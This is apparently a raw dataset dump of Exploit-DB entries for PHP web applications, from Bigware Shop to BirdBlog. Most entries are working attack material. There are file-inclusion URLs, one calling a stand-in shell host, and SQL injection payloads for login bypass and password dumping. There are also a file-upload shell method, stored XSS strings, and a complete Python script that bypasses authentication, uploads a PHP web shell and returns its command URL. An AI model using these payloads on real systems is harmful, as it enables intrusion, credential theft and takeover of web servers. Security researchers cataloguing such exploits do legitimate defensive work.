deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39083
Description: Bigware Shop 2.3.01 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2015-12-23
Author: bd0rk

Exploit:
# Title: Bigware Shop 2.3.01 Multiple Local File Inclusion Vulnerabilities
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Vendor: http://www.bigware.de
# Download: http://www.bigware.de/download/bigware_software_-_vollversion/Bigware_Shop.zip


Proof-of-Concept1:

/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_12.php source-line 58
**********************************************************************
require ( dirname(dirname(__FILE__)).'/language/'.$language.'.php');
**********************************************************************

[+]Sploit1: http://[target]/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_12.php?language=/../../../../yourFILE.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Proof-of-Concept2: 

/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_115.php source-line 56
*********************************************************************
require ( dirname(dirname(__FILE__)).'/language/'.$language.'.php');
********************************************************************* 

[+]Sploit: http://[target]/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_115.php?language=/../../../../yourFILE.php


=> Vuln-Description: The $language-parameter isn't declared. So an attacker can readin'.
=> Vendor-Solution: Please declare this parameter before require. 



***Greetings fr0m Germany: zone-h.org-Team, exploit-db.com, GoLd_M, Kim Dotcom***

MERRY CHRISTMAS BRO'S! :)
Exploit-DB #38799
Description: Bilboplanet - 'auth.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-10-11
Author: Omar Kurt

Exploit:
source: https://www.securityfocus.com/bid/62989/info

BilboPlanet is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://example.com/auth.php
(POST - user_id)
user_id=-1' or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Exploit-DB #34089
Description: Bilboplanet 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2014-07-16
Author: Vivek N

Exploit:
# Exploit Title: Multiple XSS vulnerabilities in Bilboplanet application
# Date: 10/15/13
# Exploit Author:Vivek N
# (http://nvivek.weebly.com/)
# Vendor Homepage: http://www.bilboplanet.com/
# Software Link: www.bilboplanet.com/index.php/downloads/?lang=en
# Version: 2.0
# Tested on: Windows
# CVE :

    1. Stored  XSS Vulnerability when creating and updating tribes  in
             http://localhost/bilboplanet/user/?page=tribes
             POST Parameter: tribe_name
    2. Stored XSS vulnerability when adding tag
            http://localhost/bilboplanet/user/?page=tribes
            POST Parameter: tags
    3. Stored XSS in parameters : user_id and fullname
            http://127.0.0.1/bilboplanet/signup.php
Exploit-DB #11648
Description: Bild Flirt System 2.0 - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-07
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Bild Flirt System V2.0 index.php (id) SQL Injection
+Autor : Easy Laster
+Date   : 07.03.2010
+Script  : Bild Flirt System V2.0
+Price : 14,95€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/demo/index.php?id=
+Exploitable   : http://server/demo/index.php?id=-111111111+union+select+concat
(name,0x3a,passwort)+from+bildf_user+where+user_id=1#
-----------------------------------------------------------------------------------------
Exploit-DB #30480
Description: Bilder Galerie 1.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25256/info

Bilder Galerie is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Bilder Galerie 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com?cmd=id
Exploit-DB #14078
Description: Bilder Upload Script Datei Upload 1.09 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-27
Author: Mr.Benladen

Exploit:
[~]######################################### InformatioN
#############################################[~]
[~] Homepage: http://www.joomlaservice.info Or http://www.dz4all.com
[~] Vendor : http://www.php-space.info/bilder-upload-script/
[~] Download:
http://www.php-space.info/bilder-upload-script/bilder-upload-script_1.09.rar
[~] Email : MaFiadu48@hotmail.fr
[~] Dork : allinurl: In YoUr Dream Lamerz

######################################################################################################

{exploit} : http://127.0.0.1/upload.php

Upload Your Evil script evil.php.jpg
or user temper data
image/jpeg
filename="evil.php.jpg
filename="evil.php
and upload

After you have uploaded your shells , you will find it in this Path :
http://[site]/img/evil.php.jpg

######################################################################################################


Greetz To : Federal7-blackroot-khalidmoro-ra3ch-yesmouh-Zi00n From
Ukrania-Dr.Prorat anti Tr4ck3r Anas
yotim Skiiozarsse Besel vip t4m3r all My Friend

and al muslim h4x0r

M0r0Can Is Here

--=-=-=-=-www.Joomlaservice.info or www.dz4all.com -=-=-=-=--=
Exploit-DB #49570
Description: Billing Management System 2.0 - 'email' SQL injection Auth Bypass
Type: webapps
Platform: php
Date: 2021-02-17
Author: Pintu Solanki

Exploit:
# Exploit Title: Billing Management System 2.0 - 'email' SQL injection Auth Bypass
# Date: 2021-02-16
# Exploit Author: Pintu Solanki
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html
# Software: Billing Management System 2.0
# Vulnerability Type: SQL injection - Auth Bypass
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
# This application is vulnerable to SQL injection vulnerability.
# Vulnerable Page: http://localhost/smartbilling/smartbilling_source_code/index.php
# Payload used:

Username => admin' or '1'='1
Password => admin' or '1'='1

# POC: Whenever we will go to the page (http://localhost/smartbilling/smartbilling_source_code/index.php) when we inject SQL Payload then we will directly enter into the admin page.
Exploit-DB #49874
Description: Billing Management System 2.0 - Union based SQL injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-17
Author: Mohammad Koochaki

Exploit:
# Exploit Title: Billing Management System 2.0 - Union based SQL injection (Authenticated)
# Date: 2021-05-16
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14380&title=Billing+Management+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 2.0

# This web application contains several SQL injection vulnerabilities in the following paths:
        - http://localhost/editgroup.php?id=1
        - http://localhost/edituser.php?id=1
        - http://localhost/editcategory.php?id=10
        - http://localhost/editproduct.php?id=1
        - http://localhost/editsales.php?id=1

# PoC (editgroup.php):

- Vulnerable code:
        $sql="SELECT * from user_groups where delete_status='0' and
id='".$_GET['id']." '";

- Payload:

http://localhost/editgroup.php?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3,4,5%20from%20users--+
Exploit-DB #50102
Description: Billing System Project 1.0 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-07-06
Author: Talha DEMİRSOY

Exploit:
# Exploit Title: Billing System Project 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 06.07.2021
# Exploit Author: Talha DEMİRSOY
# Software Link: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html
# Version: V 1.0
# Tested on: Linux & Windows

import requests
import random
import string
from bs4 import BeautifulSoup

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
randstr = ''.join(random.choice(let) for i in range(15))

payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd =
($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

url = input("Target : ")

session = requests.session()

reqUrl = url + "login.php"
reqHead = {"Content-Type": "application/x-www-form-urlencoded"}
reqData = {"username": "admin' or '1'='1'#", "password": "-", "login": ''}
session.post(reqUrl, headers=reqHead, data=reqData)

print("Shell Uploading...")

reqUrl = url + "php_action/createProduct.php"
reqHead = {"Content-Type": "multipart/form-data;
boundary=----WebKitFormBoundaryOGdnGszwuETwo6WB"}
reqData =
"\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"currnt_date\"\r\n\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data; name=\"productImage\";
filename=\""+shellname+".php\"\r\nContent-Type:
application/octet-stream\r\n\r\n"+payload+"\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"productName\"\r\n\r\n"+randstr+"_TalhaDemirsoy\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"quantity\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"rate\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"brandName\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"categoryName\"\r\n\r\n2\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"productStatus\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"create\"\r\n\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB--\r\n"
session.post(reqUrl, headers=reqHead, data=reqData)

print("product name is "+randstr)
print("shell name is "+shellname)

reqUrl = url + "product.php"
data = session.get(reqUrl)

parser = BeautifulSoup(data.text, 'html.parser')
find_shell = parser.find_all('img')

for i in find_shell:
    if shellname in i.get("src"):
        print("Shell URL : " + url  + i.get("src") + "?cmd=whoami")
Exploit-DB #33917
Description: Billwerx RC5.2.2 PL2 - 'primary_number' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-02
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/39867/info

Billwerx is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Billwerx RC5.2.2 PL2 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/billwerx_rc522_pl2/request_account.php?campaign_id=1&group_id=6&interest_id=6&first_name=indoushka&last_name=indoushka&company_name=indoushka&home_number=indoushka&get_primary=indoushka&work_number=indoushka&mobile_number=indoushka&email_address=indoushka&comments=indoushka&request=REQUEST&close=CLOSE&primary_number=' [(SQL)]
Exploit-DB #45512
Description: Binary MLM Software 1.0 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-01
Author: Ihsan Sencan

Exploit:
# Exploit Title: Binary MLM Software 1.0 - 'pid' SQL Injection
# Dork: N/A
# Date: 2018-10-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://mlmsoftwarez.in/
# Software Link: http://mlmdemo.biz/binary/root.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# http://localhost/[PATH]/member/tree.php?pid=[SQL]

%2d%74%65%73%74%35%27%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29%2c%28%34%29%2c%28%35%29%2c%28%36%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%2c%28%31%34%29%2c%28%31%35%29%29%2d%2d%20%2d
Exploit-DB #2312
Description: BinGo News 3.01 - 'bnrep' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-06
Author: SHiKaA

Exploit:
#==============================================================================================
#BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://bingophp.free.fr/BinGoPHPnewslast_full.zip       
#                                                                       
#Version : v3.01                                             
#                                                         
#================================================================================================
#
#Dork : ""Script réalisé par BinGo PHP""
#
#================================================================================================
#Bug in : bp_ncom.php
#
#Vlu Code :
#--------------------------------
#      include $bnrep."bn_configs.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06]
Exploit-DB #4904
Description: Binn SBuilder - 'nid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-01-13
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              Binn SBuilder (nid) Remote Blind Sql Injection Vulnerabily            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Binn SBuilder
[~] HomePage: http://www.cms.ge/
[~] Exploit: Blind Sql Injection [High]
[~] Where: full_text.php?nid=
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "Powered by CMS.GE"
[~] Dork2: priv8!

[+] Important tables and columns:

[*] Tables:

[~] Table: binn_users

[*] Columns:

[~] Column: bu_id
[~] Column 2: bu_login
[~] Column 3: bu_pass
[~] Column 4: bu_name
[~] Column 5: bu_admin
[~] Column 6: bu_last_ip
[~] Column 7: bu_last_date

[+] Compression:

[~] True: http://localhost/[path]/full_text.php?nid=[NUM] and 1=1
[~] False: http://localhost/[path]/full_text.php?nid=[NUM] and 1=2
[~] Example: http://localhost/[path]/full_text.php?nid=4855 and 1=1
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and 1=2
[~] If you see the Web correctly is true, if it is not false.

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/full_text.php?nid=[NUM] and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) >= 0
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and exists (select * from binn_users)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) = 7
[~] If you don't see any error, the table has 6 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(bu_pass) FROM binn_users) >= 0
[~] If you don't see any error, the column exists.

[*] Admin Password; Noob or Lammer?:

[~] Exploit: Priv8
[~] Example: Priv8
[~] Priv8 , xD.

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-01-13]
Exploit-DB #37082
Description: Bioly 1.3 - '/index.php' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-04-16
Author: T0xic

Exploit:
source: https://www.securityfocus.com/bid/53018/info

Bioly is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bioly 1.3 is vulnerable; other versions may also be affected. 

Cross Site Scripting
POST /index.php?action=3 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: STORED XSS TEST
Host: localhost
Content-Length: 68
Connection: Close
Pragma: no-cache

# [Post Data:]==>
email=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]68)%3B</ScRiPt>&register=1


SQL Injection
POST /index.php?action=11 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Sql Injection
Host: localhost
Content-Length: 68
Connection: Close
Pragma: no-cache

# [Post Data:]==>
q=%00'
Exploit-DB #43394
Description: Biometric Shift Employee Management System 3.0 - Local File Disclosure
Type: webapps
Platform: php
Date: 2017-12-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Biometric Shift Employee Management System 3.0 - Local File Download
# Dork: N/A
# Date: 24.12.2017
# Vendor Homepage: https://www.shiftsystems.net/
# Software Link: https://codecanyon.net/item/white-label-shift-employee-management-system/21061908
# Version: 3.0 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17876
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker download local files....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?user=download?name=VerAyari.Ver&path=[FILE]
# 
# # # # #
Exploit-DB #29098
Description: BirdBlog 1.4 - '/admin/admincore.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-20
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21184/info

BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/admincore.php?msg="><script>alert('Xmors')</script><
Exploit-DB #29099
Description: BirdBlog 1.4 - '/admin/comments.php?month' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-20
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21184/info
 
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/comments.php?month="><script>alert('Xmors')</script><
Exploit-DB #29100
Description: BirdBlog 1.4 - '/admin/entries.php?month' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-20
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21184/info
  
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/entries.php?month="><script>alert('Xmors')</script><
Exploit-DB #29101
Description: BirdBlog 1.4 - '/admin/logs.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-20
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21184/info
   
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/logs.php?page="><script>alert('Xmors')</script><